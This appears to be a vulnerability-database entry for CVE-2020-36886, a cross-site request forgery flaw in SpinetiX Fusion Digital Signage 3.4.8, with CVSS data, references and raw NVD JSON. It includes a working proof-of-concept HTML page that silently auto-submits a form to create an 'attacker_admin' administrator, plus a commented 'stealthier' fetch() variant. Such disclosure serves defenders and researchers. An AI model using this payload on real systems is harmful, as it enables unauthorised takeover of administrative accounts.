CVE-2020-36886

Description

SpinetiX Fusion Digital Signage 3.4.8 contains a cross-site request forgery vulnerability that allows attackers to create administrative user accounts without proper request validation. Attackers can craft a malicious web page that automatically submits a form to create a new admin user with full system privileges when a logged-in user visits the page.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:spinetix:fusion_digital_signage:*:*:*:*:*:*:*:* - VULNERABLE

SpinetiX Fusion Digital Signage < 3.4.8

SpinetiX Fusion Digital Signage 3.4.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>SpinetiX Fusion CSRF Exploit</title> </head> <body> <h2>SpinetiX Fusion Digital Signage CSRF Exploit</h2> <p>Creating new admin user...</p> <form id="exploitForm" action="http://target:8080/api/users" method="POST" style="display:none;"> <input type="hidden" name="username" value="attacker_admin"> <input type="hidden" name="password" value="P@ssw0rd123!"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="role" value="administrator"> <input type="hidden" name="enabled" value="true"> <input type="hidden" name="_csrf" value=""> </form> <script> // Auto-submit the form when page loads document.getElementById('exploitForm').submit(); // Optional: Use Fetch API for stealthier attack /* fetch('http://target:8080/api/users', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ username: 'attacker_admin', password: 'P@ssw0rd123!', email: '[email protected]', role: 'administrator', enabled: true }) }); */ </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36886
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36886
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36886/
[4] VulDB https://vuldb.com/cve/CVE-2020-36886
[5] https://www.exploit-db.com/exploits/48846
[6] https://www.spinetix.com
[7] https://www.spinetix.com/product/
[8] https://www.vulncheck.com/advisories/spinetix-fusion-digital-signage-cross-site-request-forgery-via-user-creation
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5592.php
[10] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5592.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2020-36886", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:00.953", "lastModified": "2025-12-17T16:54:50.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SpinetiX Fusion Digital Signage 3.4.8 contains a cross-site request forgery vulnerability that allows attackers to create administrative user accounts without proper request validation. Attackers can craft a malicious web page that automatically submits a form to create a new admin user with full system privileges when a logged-in user visits the page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:spinetix:fusion_digital_signage:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.4.8", "matchCriteriaId": "C299B96F-3700-44CD-A70B-905C1BFBEFCB"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/48846", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.spinetix.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.spinetix.com/product/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/spinetix-fusion-digital-signage-cross-site-request-forgery-via-user-creation", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5592.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5592.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}